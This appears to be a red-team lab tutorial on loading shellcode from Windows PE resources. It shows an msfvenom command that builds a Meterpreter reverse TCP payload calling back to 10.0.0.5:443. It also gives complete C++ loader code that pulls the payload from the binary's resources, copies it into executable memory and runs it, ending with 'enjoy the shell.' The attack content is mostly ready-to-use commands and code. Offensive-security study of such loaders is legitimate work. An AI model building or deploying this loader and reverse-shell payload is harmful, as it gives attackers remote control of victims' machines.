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Loading and Executing Shellcode From PE Resources

Context

This lab shows one of the techniques how one could load and execute a non-staged shellcode from within a C program using PE resources using Visual Studio.
If you've ever tried executing an unstaged shellcode from a C/C++ program, you know that you will be having a hard time doing it if you are defining a huge char array which looks like this (just a snippet):
Below is a quick walkthrough that was inspired by @_RastaMouse tweet:

Embedding The Shellcode as a Resource

Let's generate a non-staged meterpreter payload in binary format first. This will be our resource that we want to embed into our C++ program:
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msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.0.0.5 LPORT=443 > meterpreter.bin
Copied!
Right click on the Resource Files in Solution Explorer and select Add > Resource
Click Import and select the resource you want to include. In my case - it's the meterpreter.bin:
Give resource a resource type name - anything works, but you need to remember it when calling FindResource API call (shown later in the code):
At this point, you can see in your resource browser that the meterpreter.bin is now included in your program's resources:
If you compile your program now and inspect it with resource hacker, you can now see the shellcode you have just embedded as a PE resource:

Code

We can then leverage a small set of self-explanatory Windows APIs to find the embedded resource, load it into memory and execute it like so:
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#include "pch.h"
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#include <iostream>
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#include <Windows.h>
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#include "resource.h"
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int main()
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{
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// IDR_METERPRETER_BIN1 - is the resource ID - which contains ths shellcode
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// METERPRETER_BIN is the resource type name we chose earlier when embedding the meterpreter.bin
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HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_METERPRETER_BIN1), L"METERPRETER_BIN");
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DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
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HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);
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void *exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
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memcpy(exec, shellcodeResouceData, shellcodeSize);
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((void(*)())exec)();
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return 0;
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}
Copied!
Compile and run the binary and enjoy the shell:
Finding and Loading Resources - Win32 apps
docsmsft
Last modified 2yr ago